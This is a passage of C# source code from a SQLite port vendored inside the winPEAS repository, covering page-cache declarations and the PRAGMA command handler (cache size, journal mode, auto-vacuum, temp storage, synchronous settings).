31 buckets required by the merge sorter. ** One extra bucket is added to catch overflow in case something ** ever changes to make the previous sentence incorrect. */ //#define N_SORT_BUCKET 32 const int N_SORT_BUCKET = 32; static PgHdr pcacheSortDirtyList( PgHdr pIn ) { PgHdr[] a; PgHdr p;//a[N_SORT_BUCKET], p; int i; a = new PgHdr[N_SORT_BUCKET];//memset(a, 0, sizeof(a)); while ( pIn != null ) { p = pIn; pIn = p.pDirty; p.pDirty = null; for ( i = 0 ; ALWAYS(i x. Reset the cache if x==0 */ //void sqlite3PcacheTruncate(PCache*, Pgno x); /* Get a list of all dirty pages in the cache, sorted by page number */ //PgHdr *sqlite3PcacheDirtyList(PCache*); /* Reset and close the cache object */ //void sqlite3PcacheClose(PCache*); /* Clear flags from pages of the page cache */ //void sqlite3PcacheClearSyncFlags(PCache *); /* Discard the contents of the cache */ //void sqlite3PcacheClear(PCache*); /* Return the total number of outstanding page references */ //int sqlite3PcacheRefCount(PCache*); /* Increment the reference count of an existing page */ //void sqlite3PcacheRef(PgHdr*); //int sqlite3PcachePageRefcount(PgHdr*); /* Return the total number of pages stored in the cache */ //int sqlite3PcachePagecount(PCache*); #if SQLITE_CHECK_PAGES /* Iterate through all dirty pages currently stored in the cache. This ** interface is only available if SQLITE_CHECK_PAGES is defined when the ** library is built. */ //void sqlite3PcacheIterateDirty(PCache pCache, void (*xIter)(PgHdr *)); #endif /* Set and get the suggested cache-size for the specified pager-cache. ** ** If no global maximum is configured, then the system attempts to limit ** the total number of pages cached by purgeable pager-caches to the sum ** of the suggested cache-sizes. */ //void sqlite3PcacheSetCachesize(PCache *, int); #if SQLITE_TEST //int sqlite3PcacheGetCachesize(PCache *); #endif #if SQLITE_ENABLE_MEMORY_MANAGEMENT /* Try to return memory used by the pcache module to the main memory heap */ //int sqlite3PcacheReleaseMemory(int); #endif #if SQLITE_TEST //void sqlite3PcacheStats(int*,int*,int*,int*); #endif //void sqlite3PCacheSetDefault(void); #endif //* _PCACHE_H_ */ } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/SQLite/src/pragma_c.cs ================================================ using System; using System.Diagnostics; using i64 = System.Int64; using u8 = System.Byte; namespace winPEAS._3rdParty.SQLite.src { public partial class CSSQLite { /* ** 2003 April 6 ** ** The author disclaims copyright to this source code. In place of ** a legal notice, here is a blessing: ** ** May you do good and not evil. ** May you find forgiveness for yourself and forgive others. ** May you share freely, never taking more than you give. ** ************************************************************************* ** This file contains code used to implement the PRAGMA command. ** ** $Id: pragma.c,v 1.214 2009/07/02 07:47:33 danielk1977 Exp $ ** ************************************************************************* ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart ** C#-SQLite is an independent reimplementation of the SQLite software library ** ** $Header$ ************************************************************************* */ //#include "sqliteInt.h" /* Ignore this whole file if pragmas are disabled */ #if !SQLITE_OMIT_PRAGMA /* ** Interpret the given string as a safety level. Return 0 for OFF, ** 1 for ON or NORMAL and 2 for FULL. Return 1 for an empty or ** unrecognized string argument. ** ** Note that the values returned are one less that the values that ** should be passed into sqlite3BtreeSetSafetyLevel(). The is done ** to support legacy SQL code. The safety level used to be boolean ** and older scripts may have used numbers 0 for OFF and 1 for ON. */ static u8 getSafetyLevel( string z ) { // /* 123456789 123456789 */ string zText = "onoffalseyestruefull"; int[] iOffset = new int[] { 0, 1, 2, 4, 9, 12, 16 }; int[] iLength = new int[] { 2, 2, 3, 5, 3, 4, 4 }; u8[] iValue = new u8[] { 1, 0, 0, 0, 1, 1, 2 }; int i, n; if ( sqlite3Isdigit( z[0] ) ) { return (u8)atoi( z ); } n = sqlite3Strlen30( z ); for ( i = 0 ; i < ArraySize( iLength ) ; i++ ) { if ( iLength[i] == n && sqlite3StrNICmp( zText.Substring( iOffset[i] ), z, n ) == 0 ) { return iValue[i]; } } return 1; } /* ** Interpret the given string as a boolean value. */ static u8 getBoolean( string z ) { return (u8)( getSafetyLevel( z ) & 1 ); } /* ** Interpret the given string as a locking mode value. */ static int getLockingMode( string z ) { if ( z != null ) { if ( 0 == sqlite3StrICmp( z, "exclusive" ) ) return PAGER_LOCKINGMODE_EXCLUSIVE; if ( 0 == sqlite3StrICmp( z, "normal" ) ) return PAGER_LOCKINGMODE_NORMAL; } return PAGER_LOCKINGMODE_QUERY; } #if !SQLITE_OMIT_AUTOVACUUM /* ** Interpret the given string as an auto-vacuum mode value. ** ** The following strings, "none", "full" and "incremental" are ** acceptable, as are their numeric equivalents: 0, 1 and 2 respectively. */ static u8 getAutoVacuum( string z ) { int i; if ( 0 == sqlite3StrICmp( z, "none" ) ) return BTREE_AUTOVACUUM_NONE; if ( 0 == sqlite3StrICmp( z, "full" ) ) return BTREE_AUTOVACUUM_FULL; if ( 0 == sqlite3StrICmp( z, "incremental" ) ) return BTREE_AUTOVACUUM_INCR; i = atoi( z ); return (u8)( ( i >= 0 && i <= 2 ) ? i : 0 ); } #endif // * if !SQLITE_OMIT_AUTOVACUUM */ #if !SQLITE_OMIT_PAGER_PRAGMAS /* ** Interpret the given string as a temp db location. Return 1 for file ** backed temporary databases, 2 for the Red-Black tree in memory database ** and 0 to use the compile-time default. */ static int getTempStore( string z ) { if ( z[0] >= '0' && z[0] <= '2' ) { return z[0] - '0'; } else if ( sqlite3StrICmp( z, "file" ) == 0 ) { return 1; } else if ( sqlite3StrICmp( z, "memory" ) == 0 ) { return 2; } else { return 0; } } #endif // * SQLITE_PAGER_PRAGMAS */ #if !SQLITE_OMIT_PAGER_PRAGMAS /* ** Invalidate temp storage, either when the temp storage is changed ** from default, or when 'file' and the temp_store_directory has changed */ static int invalidateTempStorage( Parse pParse ) { sqlite3 db = pParse.db; if ( db.aDb[1].pBt != null ) { if ( 0 == db.autoCommit || sqlite3BtreeIsInReadTrans( db.aDb[1].pBt ) ) { sqlite3ErrorMsg( pParse, "temporary storage cannot be changed " + "from within a transaction" ); return SQLITE_ERROR; } sqlite3BtreeClose( ref db.aDb[1].pBt ); db.aDb[1].pBt = null; sqlite3ResetInternalSchema( db, 0 ); } return SQLITE_OK; } #endif // * SQLITE_PAGER_PRAGMAS */ #if !SQLITE_OMIT_PAGER_PRAGMAS /* ** If the TEMP database is open, close it and mark the database schema ** as needing reloading. This must be done when using the SQLITE_TEMP_STORE ** or DEFAULT_TEMP_STORE pragmas. */ static int changeTempStorage( Parse pParse, string zStorageType ) { int ts = getTempStore( zStorageType ); sqlite3 db = pParse.db; if ( db.temp_store == ts ) return SQLITE_OK; if ( invalidateTempStorage( pParse ) != SQLITE_OK ) { return SQLITE_ERROR; } db.temp_store = (u8)ts; return SQLITE_OK; } #endif // * SQLITE_PAGER_PRAGMAS */ /* ** Generate code to return a single integer value. */ static void returnSingleInt( Parse pParse, string zLabel, i64 value ) { Vdbe v = sqlite3GetVdbe( pParse ); int mem = ++pParse.nMem; //i64* pI64 = sqlite3DbMallocRaw( pParse->db, sizeof( value ) ); //if ( pI64 ) //{ // memcpy( pI64, &value, sizeof( value ) ); //} //sqlite3VdbeAddOp4( v, OP_Int64, 0, mem, 0, (char*)pI64, P4_INT64 ); sqlite3VdbeAddOp4( v, OP_Int64, 0, mem, 0, value, P4_INT64 ); sqlite3VdbeSetNumCols( v, 1 ); sqlite3VdbeSetColName( v, 0, COLNAME_NAME, zLabel, SQLITE_STATIC ); sqlite3VdbeAddOp2( v, OP_ResultRow, mem, 1 ); } #if !SQLITE_OMIT_FLAG_PRAGMAS /* ** Check to see if zRight and zLeft refer to a pragma that queries ** or changes one of the flags in db.flags. Return 1 if so and 0 if not. ** Also, implement the pragma. */ struct sPragmaType { public string zName; /* Name of the pragma */ public int mask; /* Mask for the db.flags value */ public sPragmaType( string zName, int mask ) { this.zName = zName; this.mask = mask; } } static int flagPragma( Parse pParse, string zLeft, string zRight ) { sPragmaType[] aPragma = new sPragmaType[]{ new sPragmaType( "full_column_names", SQLITE_FullColNames ), new sPragmaType( "short_column_names", SQLITE_ShortColNames ), new sPragmaType( "count_changes", SQLITE_CountRows ), new sPragmaType( "empty_result_callbacks", SQLITE_NullCallback ), new sPragmaType( "legacy_file_format", SQLITE_LegacyFileFmt ), new sPragmaType( "fullfsync", SQLITE_FullFSync ), new sPragmaType( "reverse_unordered_selects", SQLITE_ReverseOrder ), #if SQLITE_DEBUG new sPragmaType( "sql_trace", SQLITE_SqlTrace ), new sPragmaType( "vdbe_listing", SQLITE_VdbeListing ), new sPragmaType( "vdbe_trace", SQLITE_VdbeTrace ), #endif #if !SQLITE_OMIT_CHECK new sPragmaType( "ignore_check_constraints", SQLITE_IgnoreChecks ), #endif /* The following is VERY experimental */ new sPragmaType( "writable_schema", SQLITE_WriteSchema|SQLITE_RecoveryMode ), new sPragmaType( "omit_readlock", SQLITE_NoReadlock ), /* TODO: Maybe it shouldn't be possible to change the ReadUncommitted ** flag if there are any active statements. */ new sPragmaType( "read_uncommitted", SQLITE_ReadUncommitted ), }; int i; sPragmaType p; for ( i = 0 ; i < ArraySize( aPragma ) ; i++ )//, p++) { p = aPragma[i]; if ( sqlite3StrICmp( zLeft, p.zName ) == 0 ) { sqlite3 db = pParse.db; Vdbe v; v = sqlite3GetVdbe( pParse ); Debug.Assert( v != null ); /* Already allocated by sqlite3Pragma() */ if ( ALWAYS( v ) ) { if ( null == zRight ) { returnSingleInt( pParse, p.zName, ( ( db.flags & p.mask ) != 0 ) ? 1 : 0 ); } else { if ( getBoolean( zRight ) != 0 ) { db.flags |= p.mask; } else { db.flags &= ~p.mask; } /* Many of the flag-pragmas modify the code generated by the SQL ** compiler (eg. count_changes). So add an opcode to expire all ** compiled SQL statements after modifying a pragma value. */ sqlite3VdbeAddOp2( v, OP_Expire, 0, 0 ); } } return 1; } } return 0; } #endif // * SQLITE_OMIT_FLAG_PRAGMAS */ /* ** Return a human-readable name for a constraint resolution action. */ static string actionName( int action ) { string zName; switch ( action ) { case OE_SetNull: zName = "SET NULL"; break; case OE_SetDflt: zName = "SET DEFAULT"; break; case OE_Cascade: zName = "CASCADE"; break; default: zName = "RESTRICT"; Debug.Assert( action == OE_Restrict ); break; } return zName; } /* ** Process a pragma statement. ** ** Pragmas are of this form: ** ** PRAGMA [database.]id [= value] ** ** The identifier might also be a string. The value is a string, and ** identifier, or a number. If minusFlag is true, then the value is ** a number that was preceded by a minus sign. ** ** If the left side is "database.id" then pId1 is the database name ** and pId2 is the id. If the left side is just "id" then pId1 is the ** id and pId2 is any empty string. */ class EncName { public string zName; public u8 enc; public EncName( string zName, u8 enc ) { this.zName = zName; this.enc = enc; } }; // OVERLOADS, so I don't need to rewrite parse.c static void sqlite3Pragma( Parse pParse, Token pId1, Token pId2, int null_4, int minusFlag ) { sqlite3Pragma( pParse, pId1, pId2, null, minusFlag ); } static void sqlite3Pragma( Parse pParse, Token pId1, /* First part of [database.]id field */ Token pId2, /* Second part of [database.]id field, or NULL */ Token pValue, /* Token for , or NULL */ int minusFlag /* True if a '-' sign preceded */ ) { string zLeft = null; /* Nul-terminated UTF-8 string */ string zRight = null; /* Nul-terminated UTF-8 string , or NULL */ string zDb = null; /* The database name */ Token pId = new Token();/* Pointer to token */ int iDb; /* Database index for */ sqlite3 db = pParse.db; Db pDb; Vdbe v = pParse.pVdbe = sqlite3VdbeCreate( db ); if ( v == null ) return; pParse.nMem = 2; /* Interpret the [database.] part of the pragma statement. iDb is the ** index of the database this pragma is being applied to in db.aDb[]. */ iDb = sqlite3TwoPartName( pParse, pId1, pId2, ref pId ); if ( iDb < 0 ) return; pDb = db.aDb[iDb]; /* If the temp database has been explicitly named as part of the ** pragma, make sure it is open. */ if ( iDb == 1 && sqlite3OpenTempDatabase( pParse ) != 0 ) { return; } zLeft = sqlite3NameFromToken( db, pId ); if ( zLeft == "" ) return; if ( minusFlag != 0 ) { zRight = ( pValue == null ) ? "" : sqlite3MPrintf( db, "-%T", pValue ); } else { zRight = sqlite3NameFromToken( db, pValue ); } Debug.Assert( pId2 != null ); zDb = pId2.n > 0 ? pDb.zName : null; #if !SQLITE_OMIT_AUTHORIZATION if ( sqlite3AuthCheck( pParse, SQLITE_PRAGMA, zLeft, zRight, zDb ) ) { goto pragma_out; } #endif #if !SQLITE_OMIT_PAGER_PRAGMAS /* ** PRAGMA [database.]default_cache_size ** PRAGMA [database.]default_cache_size=N ** ** The first form reports the current persistent setting for the ** page cache size. The value returned is the maximum number of ** pages in the page cache. The second form sets both the current ** page cache size value and the persistent page cache size value ** stored in the database file. ** ** The default cache size is stored in meta-value 2 of page 1 of the ** database file. The cache size is actually the absolute value of ** this memory location. The sign of meta-value 2 determines the ** synchronous setting. A negative value means synchronous is off ** and a positive value means synchronous is on. */ if ( sqlite3StrICmp( zLeft, "default_cache_size" ) == 0 ) { VdbeOpList[] getCacheSize = new VdbeOpList[]{ new VdbeOpList( OP_Transaction, 0, 0, 0), /* 0 */ new VdbeOpList( OP_ReadCookie, 0, 1, BTREE_DEFAULT_CACHE_SIZE), /* 1 */ new VdbeOpList( OP_IfPos, 1, 7, 0), new VdbeOpList( OP_Integer, 0, 2, 0), new VdbeOpList( OP_Subtract, 1, 2, 1), new VdbeOpList( OP_IfPos, 1, 7, 0), new VdbeOpList( OP_Integer, 0, 1, 0), /* 6 */ new VdbeOpList( OP_ResultRow, 1, 1, 0), }; int addr; if ( sqlite3ReadSchema( pParse ) != 0 ) goto pragma_out; sqlite3VdbeUsesBtree( v, iDb ); if ( null == zRight ) { sqlite3VdbeSetNumCols( v, 1 ); sqlite3VdbeSetColName( v, 0, COLNAME_NAME, "cache_size", SQLITE_STATIC ); pParse.nMem += 2; addr = sqlite3VdbeAddOpList( v, getCacheSize.Length, getCacheSize ); sqlite3VdbeChangeP1( v, addr, iDb ); sqlite3VdbeChangeP1( v, addr + 1, iDb ); sqlite3VdbeChangeP1( v, addr + 6, SQLITE_DEFAULT_CACHE_SIZE ); } else { int size = atoi( zRight ); if ( size < 0 ) size = -size; sqlite3BeginWriteOperation( pParse, 0, iDb ); sqlite3VdbeAddOp2( v, OP_Integer, size, 1 ); sqlite3VdbeAddOp3( v, OP_ReadCookie, iDb, 2, BTREE_DEFAULT_CACHE_SIZE ); addr = sqlite3VdbeAddOp2( v, OP_IfPos, 2, 0 ); sqlite3VdbeAddOp2( v, OP_Integer, -size, 1 ); sqlite3VdbeJumpHere( v, addr ); sqlite3VdbeAddOp3( v, OP_SetCookie, iDb, BTREE_DEFAULT_CACHE_SIZE, 1 ); pDb.pSchema.cache_size = size; sqlite3BtreeSetCacheSize( pDb.pBt, pDb.pSchema.cache_size ); } } else /* ** PRAGMA [database.]page_size ** PRAGMA [database.]page_size=N ** ** The first form reports the current setting for the ** database page size in bytes. The second form sets the ** database page size value. The value can only be set if ** the database has not yet been created. */ if ( sqlite3StrICmp( zLeft, "page_size" ) == 0 ) { Btree pBt = pDb.pBt; Debug.Assert( pBt != null ); if ( null == zRight ) { int size = ALWAYS( pBt ) ? sqlite3BtreeGetPageSize( pBt ) : 0; returnSingleInt( pParse, "page_size", size ); } else { /* Malloc may fail when setting the page-size, as there is an internal ** buffer that the pager module resizes using sqlite3_realloc(). */ db.nextPagesize = atoi( zRight ); if ( SQLITE_NOMEM == sqlite3BtreeSetPageSize( pBt, db.nextPagesize, -1, 0 ) ) { //// db.mallocFailed = 1; } } } else /* ** PRAGMA [database.]max_page_count ** PRAGMA [database.]max_page_count=N ** ** The first form reports the current setting for the ** maximum number of pages in the database file. The ** second form attempts to change this setting. Both ** forms return the current setting. */ if ( sqlite3StrICmp( zLeft, "max_page_count" ) == 0 ) { Btree pBt = pDb.pBt; int newMax = 0; Debug.Assert( pBt != null ); if ( zRight != null ) { newMax = atoi( zRight ); } if ( ALWAYS( pBt ) ) { newMax = (int)sqlite3BtreeMaxPageCount( pBt, newMax ); } returnSingleInt( pParse, "max_page_count", newMax ); } else /* ** PRAGMA [database.]page_count ** ** Return the number of pages in the specified database. */ if ( sqlite3StrICmp( zLeft, "page_count" ) == 0 ) { int iReg; if ( sqlite3ReadSchema( pParse ) != 0 ) goto pragma_out; sqlite3CodeVerifySchema( pParse, iDb ); iReg = ++pParse.nMem; sqlite3VdbeAddOp2( v, OP_Pagecount, iDb, iReg ); sqlite3VdbeAddOp2( v, OP_ResultRow, iReg, 1 ); sqlite3VdbeSetNumCols( v, 1 ); sqlite3VdbeSetColName( v, 0, COLNAME_NAME, "page_count", SQLITE_STATIC ); } else /* ** PRAGMA [database.]page_count ** ** Return the number of pages in the specified database. */ if ( zLeft == "page_count" ) { Vdbe _v; int iReg; _v = sqlite3GetVdbe( pParse ); if ( _v == null || sqlite3ReadSchema( pParse ) != 0 ) goto pragma_out; sqlite3CodeVerifySchema( pParse, iDb ); iReg = ++pParse.nMem; sqlite3VdbeAddOp2( _v, OP_Pagecount, iDb, iReg ); sqlite3VdbeAddOp2( _v, OP_ResultRow, iReg, 1 ); sqlite3VdbeSetNumCols( _v, 1 ); sqlite3VdbeSetColName( _v, 0, COLNAME_NAME, "page_count", SQLITE_STATIC ); } else /* ** PRAGMA [database.]locking_mode ** PRAGMA [database.]locking_mode = (normal|exclusive) */ if ( sqlite3StrICmp( zLeft, "locking_mode" ) == 0 ) { string zRet = "normal"; int eMode = getLockingMode( zRight ); if ( pId2.n == 0 && eMode == PAGER_LOCKINGMODE_QUERY ) { /* Simple "PRAGMA locking_mode;" statement. This is a query for ** the current default locking mode (which may be different to ** the locking-mode of the main database). */ eMode = db.dfltLockMode; } else { Pager pPager; if ( pId2.n == 0 ) { /* This indicates that no database name was specified as part ** of the PRAGMA command. In this case the locking-mode must be ** set on all attached databases, as well as the main db file. ** ** Also, the sqlite3.dfltLockMode variable is set so that ** any subsequently attached databases also use the specified ** locking mode. */ int ii; Debug.Assert( pDb == db.aDb[0] ); for ( ii = 2 ; ii < db.nDb ; ii++ ) { pPager = sqlite3BtreePager( db.aDb[ii].pBt ); sqlite3PagerLockingMode( pPager, eMode ); } db.dfltLockMode = (u8)eMode; } pPager = sqlite3BtreePager( pDb.pBt ); eMode = sqlite3PagerLockingMode( pPager, eMode ) ? 1 : 0; } Debug.Assert( eMode == PAGER_LOCKINGMODE_NORMAL || eMode == PAGER_LOCKINGMODE_EXCLUSIVE ); if ( eMode == PAGER_LOCKINGMODE_EXCLUSIVE ) { zRet = "exclusive"; } sqlite3VdbeSetNumCols( v, 1 ); sqlite3VdbeSetColName( v, 0, COLNAME_NAME, "locking_mode", SQLITE_STATIC ); sqlite3VdbeAddOp4( v, OP_String8, 0, 1, 0, zRet, 0 ); sqlite3VdbeAddOp2( v, OP_ResultRow, 1, 1 ); } else /* ** PRAGMA [database.]journal_mode ** PRAGMA [database.]journal_mode = (delete|persist|off|truncate|memory) */ if ( zLeft == "journal_mode" ) { int eMode; string[] azModeName = new string[] { "delete", "persist", "off", "truncate", "memory" }; if ( null == zRight ) { eMode = PAGER_JOURNALMODE_QUERY; } else { int n = sqlite3Strlen30( zRight ); eMode = azModeName.Length - 1;//sizeof(azModeName)/sizeof(azModeName[0]) - 1; while ( eMode >= 0 && String.Compare( zRight, azModeName[eMode], true ) != 0 ) { eMode--; } } if ( pId2.n == 0 && eMode == PAGER_JOURNALMODE_QUERY ) { /* Simple "PRAGMA journal_mode;" statement. This is a query for ** the current default journal mode (which may be different to ** the journal-mode of the main database). */ eMode = db.dfltJournalMode; } else { Pager pPager; if ( pId2.n == 0 ) { /* This indicates that no database name was specified as part ** of the PRAGMA command. In this case the journal-mode must be ** set on all attached databases, as well as the main db file. ** ** Also, the sqlite3.dfltJournalMode variable is set so that ** any subsequently attached databases also use the specified ** journal mode. */ int ii; Debug.Assert( pDb == db.aDb[0] ); for ( ii = 1 ; ii < db.nDb ; ii++ ) { if ( db.aDb[ii].pBt != null ) { pPager = sqlite3BtreePager( db.aDb[ii].pBt ); sqlite3PagerJournalMode( pPager, eMode ); } } db.dfltJournalMode = (u8)eMode; } pPager = sqlite3BtreePager( pDb.pBt ); eMode = sqlite3PagerJournalMode( pPager, eMode ); } Debug.Assert( eMode == PAGER_JOURNALMODE_DELETE || eMode == PAGER_JOURNALMODE_TRUNCATE || eMode == PAGER_JOURNALMODE_PERSIST || eMode == PAGER_JOURNALMODE_OFF || eMode == PAGER_JOURNALMODE_MEMORY ); sqlite3VdbeSetNumCols( v, 1 ); sqlite3VdbeSetColName( v, 0, COLNAME_NAME, "journal_mode", SQLITE_STATIC ); sqlite3VdbeAddOp4( v, OP_String8, 0, 1, 0, azModeName[eMode], P4_STATIC ); sqlite3VdbeAddOp2( v, OP_ResultRow, 1, 1 ); } else /* ** PRAGMA [database.]journal_size_limit ** PRAGMA [database.]journal_size_limit=N ** ** Get or set the size limit on rollback journal files. */ if ( sqlite3StrICmp( zLeft, "journal_size_limit" ) == 0 ) { Pager pPager = sqlite3BtreePager( pDb.pBt ); i64 iLimit = -2; if ( !String.IsNullOrEmpty( zRight ) ) { sqlite3Atoi64( zRight, ref iLimit ); if ( iLimit < -1 ) iLimit = -1; } iLimit = sqlite3PagerJournalSizeLimit( pPager, iLimit ); returnSingleInt( pParse, "journal_size_limit", iLimit ); } else #endif // * SQLITE_OMIT_PAGER_PRAGMAS */ /* ** PRAGMA [database.]auto_vacuum ** PRAGMA [database.]auto_vacuum=N ** ** Get or set the value of the database 'auto-vacuum' parameter. ** The value is one of: 0 NONE 1 FULL 2 INCREMENTAL */ #if !SQLITE_OMIT_AUTOVACUUM if ( sqlite3StrICmp( zLeft, "auto_vacuum" ) == 0 ) { Btree pBt = pDb.pBt; Debug.Assert( pBt != null ); if ( sqlite3ReadSchema( pParse ) != 0 ) { goto pragma_out; } if ( null == zRight ) { int auto_vacuum; if ( ALWAYS( pBt ) ) { auto_vacuum = sqlite3BtreeGetAutoVacuum( pBt ); } else { auto_vacuum = SQLITE_DEFAULT_AUTOVACUUM; } returnSingleInt( pParse, "auto_vacuum", auto_vacuum ); } else { int eAuto = getAutoVacuum( zRight ); Debug.Assert( eAuto >= 0 && eAuto <= 2 ); db.nextAutovac = (u8)eAuto; if ( ALWAYS( eAuto >= 0 ) ) { /* Call SetAutoVacuum() to set initialize the internal auto and ** incr-vacuum flags. This is required in case this connection ** creates the database file. It is important that it is created ** as an auto-vacuum capable db. */ int rc = sqlite3BtreeSetAutoVacuum( pBt, eAuto ); if ( rc == SQLITE_OK && ( eAuto == 1 || eAuto == 2 ) ) { /* When setting the auto_vacuum mode to either "full" or ** "incremental", write the value of meta[6] in the database ** file. Before writing to meta[6], check that meta[3] indicates ** that this really is an auto-vacuum capable database. */ VdbeOpList[] setMeta6 = new VdbeOpList[] { new VdbeOpList( OP_Transaction, 0, 1, 0), /* 0 */ new VdbeOpList( OP_ReadCookie, 0, 1, BTREE_LARGEST_ROOT_PAGE), /* 1 */ new VdbeOpList( OP_If, 1, 0, 0), /* 2 */ new VdbeOpList( OP_Halt, SQLITE_OK, OE_Abort, 0), /* 3 */ new VdbeOpList( OP_Integer, 0, 1, 0), /* 4 */ new VdbeOpList( OP_SetCookie, 0, BTREE_INCR_VACUUM, 1), /* 5 */ }; int iAddr; iAddr = sqlite3VdbeAddOpList( v, ArraySize( setMeta6 ), setMeta6 ); sqlite3VdbeChangeP1( v, iAddr, iDb ); sqlite3VdbeChangeP1( v, iAddr + 1, iDb ); sqlite3VdbeChangeP2( v, iAddr + 2, iAddr + 4 ); sqlite3VdbeChangeP1( v, iAddr + 4, eAuto - 1 ); sqlite3VdbeChangeP1( v, iAddr + 5, iDb ); sqlite3VdbeUsesBtree( v, iDb ); } } } } else #endif /* ** PRAGMA [database.]incremental_vacuum(N) ** ** Do N steps of incremental vacuuming on a database. */ #if !SQLITE_OMIT_AUTOVACUUM if ( sqlite3StrICmp( zLeft, "incremental_vacuum" ) == 0 ) { int iLimit = 0, addr; if ( sqlite3ReadSchema( pParse ) != 0 ) { goto pragma_out; } if ( zRight == null || !sqlite3GetInt32( zRight, ref iLimit ) || iLimit <= 0 ) { iLimit = 0x7fffffff; } sqlite3BeginWriteOperation( pParse, 0, iDb ); sqlite3VdbeAddOp2( v, OP_Integer, iLimit, 1 ); addr = sqlite3VdbeAddOp1( v, OP_IncrVacuum, iDb ); sqlite3VdbeAddOp1( v, OP_ResultRow, 1 ); sqlite3VdbeAddOp2( v, OP_AddImm, 1, -1 ); sqlite3VdbeAddOp2( v, OP_IfPos, 1, addr ); sqlite3VdbeJumpHere( v, addr ); } else #endif #if !SQLITE_OMIT_PAGER_PRAGMAS /* ** PRAGMA [database.]cache_size ** PRAGMA [database.]cache_size=N ** ** The first form reports the current local setting for the ** page cache size. The local setting can be different from ** the persistent cache size value that is stored in the database ** file itself. The value returned is the maximum number of ** pages in the page cache. The second form sets the local ** page cache size value. It does not change the persistent ** cache size stored on the disk so the cache size will revert ** to its default value when the database is closed and reopened. ** N should be a positive integer. */ if ( sqlite3StrICmp( zLeft, "cache_size" ) == 0 ) { if ( sqlite3ReadSchema( pParse ) != 0 ) goto pragma_out; if ( null == zRight ) { returnSingleInt( pParse, "cache_size", pDb.pSchema.cache_size ); } else { int size = atoi( zRight ); if ( size < 0 ) size = -size; pDb.pSchema.cache_size = size; sqlite3BtreeSetCacheSize( pDb.pBt, pDb.pSchema.cache_size ); } } else /* ** PRAGMA temp_store ** PRAGMA temp_store = "default"|"memory"|"file" ** ** Return or set the local value of the temp_store flag. Changing ** the local value does not make changes to the disk file and the default ** value will be restored the next time the database is opened. ** ** Note that it is possible for the library compile-time options to ** override this setting */ if ( sqlite3StrICmp( zLeft, "temp_store" ) == 0 ) { if ( zRight == null ) { returnSingleInt( pParse, "temp_store", db.temp_store ); } else { changeTempStorage( pParse, zRight ); } } else /* ** PRAGMA temp_store_directory ** PRAGMA temp_store_directory = ""|"directory_name" ** ** Return or set the local value of the temp_store_directory flag. Changing ** the value sets a specific directory to be used for temporary files. ** Setting to a null string reverts to the default temporary directory search. ** If temporary directory is changed, then invalidateTempStorage. ** */ if ( sqlite3StrICmp( zLeft, "temp_store_directory" ) == 0 ) { if ( null == zRight ) { if ( sqlite3_temp_directory != "" ) { sqlite3VdbeSetNumCols( v, 1 ); sqlite3VdbeSetColName( v, 0, COLNAME_NAME, "temp_store_directory", SQLITE_STATIC ); sqlite3VdbeAddOp4( v, OP_String8, 0, 1, 0, sqlite3_temp_directory, 0 ); sqlite3VdbeAddOp2( v, OP_ResultRow, 1, 1 ); } } else { #if !SQLITE_OMIT_WSD if ( zRight.Length > 0 ) { int rc; int res = 0; rc = sqlite3OsAccess( db.pVfs, zRight, SQLITE_ACCESS_READWRITE, ref res ); if ( rc != SQLITE_OK || res == 0 ) { sqlite3ErrorMsg( pParse, "not a writable directory" ); goto pragma_out; } } if ( SQLITE_TEMP_STORE == 0 || ( SQLITE_TEMP_STORE == 1 && db.temp_store <= 1 ) || ( SQLITE_TEMP_STORE == 2 && db.temp_store == 1 ) ) { invalidateTempStorage( pParse ); } //sqlite3_free( ref sqlite3_temp_directory ); if ( zRight.Length > 0 ) { sqlite3_temp_directory = zRight;//sqlite3DbStrDup(0, zRight); } else { sqlite3_temp_directory = ""; } #endif //* SQLITE_OMIT_WSD */ } } else #if !(SQLITE_ENABLE_LOCKING_STYLE) # if (__APPLE__) //# define SQLITE_ENABLE_LOCKING_STYLE 1 # else //# define SQLITE_ENABLE_LOCKING_STYLE 0 # endif #endif #if SQLITE_ENABLE_LOCKING_STYLE /* ** PRAGMA [database.]lock_proxy_file ** PRAGMA [database.]lock_proxy_file = ":auto:"|"lock_file_path" ** ** Return or set the value of the lock_proxy_file flag. Changing ** the value sets a specific file to be used for database access locks. ** */ if ( sqlite3StrICmp( zLeft, "lock_proxy_file" ) == 0 ) { if ( zRight !="") { Pager pPager = sqlite3BtreePager( pDb.pBt ); int proxy_file_path = 0; sqlite3_file pFile = sqlite3PagerFile( pPager ); sqlite3OsFileControl( pFile, SQLITE_GET_LOCKPROXYFILE, ref proxy_file_path ); if ( proxy_file_path!=0 ) { sqlite3VdbeSetNumCols( v, 1 ); sqlite3VdbeSetColName( v, 0, COLNAME_NAME, "lock_proxy_file", SQLITE_STATIC ); sqlite3VdbeAddOp4( v, OP_String8, 0, 1, 0, proxy_file_path, 0 ); sqlite3VdbeAddOp2( v, OP_ResultRow, 1, 1 ); } } else { Pager pPager = sqlite3BtreePager( pDb.pBt ); sqlite3_file pFile = sqlite3PagerFile( pPager ); int res; int iDummy = 0; if ( zRight[0]!=0 ) { iDummy = zRight[0]; res = sqlite3OsFileControl( pFile, SQLITE_SET_LOCKPROXYFILE, ref iDummy ); } else { res = sqlite3OsFileControl( pFile, SQLITE_SET_LOCKPROXYFILE, ref iDummy ); } if ( res != SQLITE_OK ) { sqlite3ErrorMsg( pParse, "failed to set lock proxy file" ); goto pragma_out; } } } else #endif //* SQLITE_ENABLE_LOCKING_STYLE */ /* ** PRAGMA [database.]synchronous ** PRAGMA [database.]synchronous=OFF|ON|NORMAL|FULL ** ** Return or set the local value of the synchronous flag. Changing ** the local value does not make changes to the disk file and the ** default value will be restored the next time the database is ** opened. */ if ( sqlite3StrICmp( zLeft, "synchronous" ) == 0 ) { if ( sqlite3ReadSchema( pParse ) != 0 ) goto pragma_out; if ( null == zRight ) { returnSingleInt( pParse, "synchronous", pDb.safety_level - 1 ); } else { if ( 0 == db.autoCommit ) { sqlite3ErrorMsg( pParse, "Safety level may not be changed inside a transaction" ); } else { pDb.safety_level = (byte)( getSafetyLevel( zRight ) + 1 ); } } } else #endif // * SQLITE_OMIT_PAGER_PRAGMAS */ #if !SQLITE_OMIT_FLAG_PRAGMAS if ( flagPragma( pParse, zLeft, zRight ) != 0 ) { /* The flagPragma() subroutine also generates any necessary code ** there is nothing more to do here */ } else #endif // * SQLITE_OMIT_FLAG_PRAGMAS */ #if !SQLITE_OMIT_SCHEMA_PRAGMAS /* ** 